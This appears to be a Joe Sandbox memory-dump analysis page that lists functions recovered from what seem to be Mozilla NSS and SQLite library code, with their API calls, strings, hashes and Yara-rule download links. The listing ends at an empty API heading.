Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 4491551ea0da15deed17a144b7154477cfb161f260b8a72f7985cbfa784e58df
Instruction ID: 1b78c51ac32fcb65bfaf2b5325762c01c28bb96160e3c52d46e410f35c72a1de
Opcode Fuzzy Hash: 4491551ea0da15deed17a144b7154477cfb161f260b8a72f7985cbfa784e58df
Instruction Fuzzy Hash: 5B31F7F5B05110ABDA01AFA5EC40B16B7B5FB8535CB1A8265ED0587A10F332F826C7F2

Function 6CD26C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CD2781D,00000000,6CD1BE2C,?,6CD26B1D,?,?,?,?,00000000,00000000,6CD2781D), ref: 6CD26C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CD2781D,?,6CD1BE2C,?), ref: 6CD26C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CD2781D), ref: 6CD26C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CD26C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CD26C96

Part of subcall function 6CCD1240: TlsGetValue.KERNEL32(00000040,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD1267
Part of subcall function 6CCD1240: EnterCriticalSection.KERNEL32(?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD127C
Part of subcall function 6CCD1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD1291
Part of subcall function 6CCD1240: PR_Unlock.NSS3(?,?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CD26CAA

Strings

dbm:, xrefs: 6CD26C3A
rdb:, xrefs: 6CD26C69
NSS_DEFAULT_DB_TYPE, xrefs: 6CD26C91
dbm, xrefs: 6CD26CA4
extern:, xrefs: 6CD26C7E
sql:, xrefs: 6CD26C52

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 6a388923fff7a974cd6ffc1e877105cddfa375730b5e7342b3fb3f62c73d96a4
Instruction ID: a2686fca69475b58f5c9890f14c062a01e0c7d5914dc7575fb678dccbc898d2d
Opcode Fuzzy Hash: 6a388923fff7a974cd6ffc1e877105cddfa375730b5e7342b3fb3f62c73d96a4
Instruction Fuzzy Hash: CD01A7E1706315A7E710377A9C49F2A396DAF4125EF240532FF08E19C1EA9AE52540A5

Function 6CD34E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CCF78F8), ref: 6CD34E6D

Part of subcall function 6CCD09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CCD06A2,00000000,?), ref: 6CCD09F8
Part of subcall function 6CCD09E0: malloc.MOZGLUE(0000001F), ref: 6CCD0A18
Part of subcall function 6CCD09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CCD0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CCF78F8), ref: 6CD34ED9

Part of subcall function 6CD25920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CD27703,?,00000000,00000000), ref: 6CD25942
Part of subcall function 6CD25920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CD27703), ref: 6CD25954
Part of subcall function 6CD25920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CD2596A
Part of subcall function 6CD25920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CD25984
Part of subcall function 6CD25920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CD25999
Part of subcall function 6CD25920: free.MOZGLUE(00000000), ref: 6CD259BA
Part of subcall function 6CD25920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CD259D3
Part of subcall function 6CD25920: free.MOZGLUE(00000000), ref: 6CD259F5
Part of subcall function 6CD25920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CD25A0A
Part of subcall function 6CD25920: free.MOZGLUE(00000000), ref: 6CD25A2E
Part of subcall function 6CD25920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CD25A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD34EB3

Part of subcall function 6CD34820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CD34EB8,?,?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD3484C
Part of subcall function 6CD34820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CD34EB8,?,?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD3486D
Part of subcall function 6CD34820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CD34EB8,?), ref: 6CD34884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD34EC0

Part of subcall function 6CD34470: TlsGetValue.KERNEL32(00000000,?,6CCF7296,00000000), ref: 6CD34487
Part of subcall function 6CD34470: EnterCriticalSection.KERNEL32(?,?,?,6CCF7296,00000000), ref: 6CD344A0
Part of subcall function 6CD34470: PR_Unlock.NSS3(?,?,?,?,6CCF7296,00000000), ref: 6CD344BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD34F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD34F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD34F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD34F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD34F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD34F8F
PK11_UpdateSlotAttribute.NSS3(?,6CE0DCB0,00000000), ref: 6CD34FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CD3501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CCF78F8), ref: 6CD3506B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: cdf40a2324f09fccce6ccb1e4c9506d786bd436034e6af289764be0d479f281b
Instruction ID: 9b4747102f84f54be62608a4f429fdc71e99048675886fe20aebfa815ce8dc4c
Opcode Fuzzy Hash: cdf40a2324f09fccce6ccb1e4c9506d786bd436034e6af289764be0d479f281b
Instruction Fuzzy Hash: AB51F4B1A002259BDB11AF24EC01A9B7BB4FF0631CF185635EC0E96A21F736E515C7A2

Function 6CCDACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCDACE2
malloc.MOZGLUE(00000001), ref: 6CCDACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CCDAD02
TlsGetValue.KERNEL32 ref: 6CCDAD3C
calloc.MOZGLUE(00000001,?), ref: 6CCDAD8C
PR_Unlock.NSS3 ref: 6CCDADC0
free.MOZGLUE(00000000), ref: 6CCDAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CCDAE58
free.MOZGLUE(00000000), ref: 6CCDAE69
free.MOZGLUE(?), ref: 6CCDAE78
PR_Unlock.NSS3 ref: 6CCDAE8C
free.MOZGLUE(?), ref: 6CCDAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCDAEC7

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: d2da7ca003c25cb6fe56e9b4be950cef52e4be317ec209cf731475d1ea70950b
Instruction ID: 7cc7e9f3116a29e0a04f74d4cc7653129e867fbbdc48fc2ea9d9a03adb776a0c
Opcode Fuzzy Hash: d2da7ca003c25cb6fe56e9b4be950cef52e4be317ec209cf731475d1ea70950b
Instruction Fuzzy Hash: 0051C6B0E0121A8BDF10EF99D84166E77B4BB86349F164165DD19A3B10E331F925CBE2

Function 6CDB4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CDB4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CDB4CFD
sqlite3_value_text16.NSS3(?), ref: 6CDB4D44

Strings

bad parameter or other API misuse, xrefs: 6CDB4D05
API call with %s database connection pointer, xrefs: 6CDB4CF6
unknown error, xrefs: 6CDB4D56
another row available, xrefs: 6CDB4D20
out of memory, xrefs: 6CDB4C78, 6CDB4C9E
invalid, xrefs: 6CDB4CF1
abort due to ROLLBACK, xrefs: 6CDB4D27, 6CDB4D33
no more rows available, xrefs: 6CDB4D2E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 4948c594dd747056a8b523fe3e2213f3fcf1b58838a58269ed642fcd20fe418c
Instruction ID: 4b6c5e975a417529595f3b21ca9b469c49c42ae0839b553564e68e245cc09760
Opcode Fuzzy Hash: 4948c594dd747056a8b523fe3e2213f3fcf1b58838a58269ed642fcd20fe418c
Instruction Fuzzy Hash: 963145F2A08810E7D714C724A811BE57372BB82718F150129D8666BE38D735BC22C7D2

Function 6CDB2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CDB2D9F

Part of subcall function 6CC6CA30: EnterCriticalSection.KERNEL32(?,?,?,6CCCF9C9,?,6CCCF4DA,6CCCF9C9,?,?,6CC9369A), ref: 6CC6CA7A
Part of subcall function 6CC6CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CC6CB26

sqlite3_exec.NSS3(?,?,6CDB2F70,?,?), ref: 6CDB2DF9
sqlite3_free.NSS3(00000000), ref: 6CDB2E2C
sqlite3_free.NSS3(?), ref: 6CDB2E3A
sqlite3_free.NSS3(?), ref: 6CDB2E52
sqlite3_mprintf.NSS3(6CE1AAF9,?), ref: 6CDB2E62
sqlite3_free.NSS3(?), ref: 6CDB2E70
sqlite3_free.NSS3(?), ref: 6CDB2E89
sqlite3_free.NSS3(?), ref: 6CDB2EBB
sqlite3_free.NSS3(?), ref: 6CDB2ECB
sqlite3_free.NSS3(00000000), ref: 6CDB2F3E
sqlite3_free.NSS3(?), ref: 6CDB2F4C

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: fd6b7098482f247eb8eb5ca92ac3e52a8bd77401755f8876f2d191612d3990f5
Instruction ID: 6b49917add5b376047fd47c43b35cdcbbc837addf54cc1550b8cd30554315e70
Opcode Fuzzy Hash: fd6b7098482f247eb8eb5ca92ac3e52a8bd77401755f8876f2d191612d3990f5
Instruction Fuzzy Hash: 11614EF6E012058BEB00CF6AD884B9EB7B1AF4934CF144024ED56B7B21E735E855CBA1

Function 6CD02C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CD03F23,?,6CCFE477,?,?,?,00000001,00000000,?,?,6CD03F23,?), ref: 6CD02C62
EnterCriticalSection.KERNEL32(0000001C,?,6CCFE477,?,?,?,00000001,00000000,?,?,6CD03F23,?), ref: 6CD02C76
PL_HashTableLookup.NSS3(00000000,?,?,6CCFE477,?,?,?,00000001,00000000,?,?,6CD03F23,?), ref: 6CD02C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CCFE477,?,?,?,00000001,00000000,?,?,6CD03F23,?), ref: 6CD02C93

Part of subcall function 6CD8DD70: TlsGetValue.KERNEL32 ref: 6CD8DD8C
Part of subcall function 6CD8DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CCFE477,?,?,?,00000001,00000000,?,?,6CD03F23,?), ref: 6CD02CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CCFE477,?,?,?,00000001,00000000,?,?,6CD03F23,?), ref: 6CD02CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CCFE477,?,?,?,00000001,00000000,?,?,6CD03F23), ref: 6CD02CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CCFE477,?,?,?,00000001,00000000,?), ref: 6CD02CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CCFE477,?,?,?,00000001,00000000,?), ref: 6CD02D4D
EnterCriticalSection.KERNEL32(?), ref: 6CD02D61
PL_HashTableLookup.NSS3(?,?), ref: 6CD02D71
PR_Unlock.NSS3(?), ref: 6CD02D7E

Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07AD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07CD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07D6
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CC6204A), ref: 6CCD07E4
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,6CC6204A), ref: 6CCD0864
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CCD0880
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,6CC6204A), ref: 6CCD08CB
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08D7
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08FB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: eb58046dde1401e9ecc36c9f668eb48ae531fe0ecaba388457c7f5964b09dd6d
Instruction ID: cb5afdf66d282fe167ffb4fd52d647a2b3799daf32d28faf23d7fa47c919a30e
Opcode Fuzzy Hash: eb58046dde1401e9ecc36c9f668eb48ae531fe0ecaba388457c7f5964b09dd6d
Instruction Fuzzy Hash: 2551E5B6E01205ABDB00AF28DC858AA7778BF1535CB048525ED1897B21F731ED69CBE1

Function 6CCF7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CE42120,Function_00097E60,00000000,?,?,?,?,6CD7067D,6CD71C60,00000000), ref: 6CCF7C81

Part of subcall function 6CC64C70: TlsGetValue.KERNEL32(?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64C97
Part of subcall function 6CC64C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CB0
Part of subcall function 6CC64C70: PR_Unlock.NSS3(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CC9

TlsGetValue.KERNEL32 ref: 6CCF7CA0
EnterCriticalSection.KERNEL32(?), ref: 6CCF7CB4
PR_Unlock.NSS3 ref: 6CCF7CCF

Part of subcall function 6CD8DD70: TlsGetValue.KERNEL32 ref: 6CD8DD8C
Part of subcall function 6CD8DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4

TlsGetValue.KERNEL32 ref: 6CCF7D04
EnterCriticalSection.KERNEL32(?), ref: 6CCF7D1B
realloc.MOZGLUE(-00000050), ref: 6CCF7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCF7DF4
PR_Unlock.NSS3 ref: 6CCF7E0E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: a6b5d9b231d7f33ee67d3022780e63a0f8e9a2c0ffd74f5a4e4e72e13f853356
Instruction ID: fb4041c95f64da5edddc0437e7c47db53bae31f0f996b1a4b101def496a083b1
Opcode Fuzzy Hash: a6b5d9b231d7f33ee67d3022780e63a0f8e9a2c0ffd74f5a4e4e72e13f853356
Instruction Fuzzy Hash: 2751D272A01100DFEB50AF29DC44A6577B5FF5231CF66816ADA2487762FB30D863CBA1

Function 6CC64C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CB0
PR_Unlock.NSS3(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64D97
PR_Lock.NSS3(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64DBA
PR_WaitCondVar.NSS3 ref: 6CC64DD4
PR_Unlock.NSS3(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64DEF

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 27efcbffb5acd2863898765048e01b9cea0584bb6e5e3efe080cdb910f350ef3
Instruction ID: f00e0be25b37fab1f8b844a4713f5123e9456cbaa6da8df3920d62969a5a0ead
Opcode Fuzzy Hash: 27efcbffb5acd2863898765048e01b9cea0584bb6e5e3efe080cdb910f350ef3
Instruction Fuzzy Hash: 38417CB5A04715CFCB10FFBAD194559BBF4BF05318F0586A9D8889BB10E730E896CB92

Function 6CDF7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CDF7CE0

Part of subcall function 6CDA9BF0: TlsGetValue.KERNEL32(?,?,?,6CDF0A75), ref: 6CDA9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF7D36
PR_Realloc.NSS3(?,00000080), ref: 6CDF7D6D
PR_GetCurrentThread.NSS3 ref: 6CDF7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CDF7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF7DD8
malloc.MOZGLUE(00000080), ref: 6CDF7DF8
PR_GetCurrentThread.NSS3 ref: 6CDF7E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CDF7DF0
:%s:%d:0x%lx, xrefs: 6CDF7DB9

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: ae41e8b083b8f5f268a993757005b7b4d12ef6514276f0f1fe5f002f49173e7a
Instruction ID: 64d5d64aa8a065da02a3f10695caf9889a556f78a38638c4e77ff6aa8dc0d3a8
Opcode Fuzzy Hash: ae41e8b083b8f5f268a993757005b7b4d12ef6514276f0f1fe5f002f49173e7a
Instruction Fuzzy Hash: 7D41A6B1500105EFDB04CF28CC909AB37B6BF84318B674558E8698BB61D731E942CBB1

Function 6CDF7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

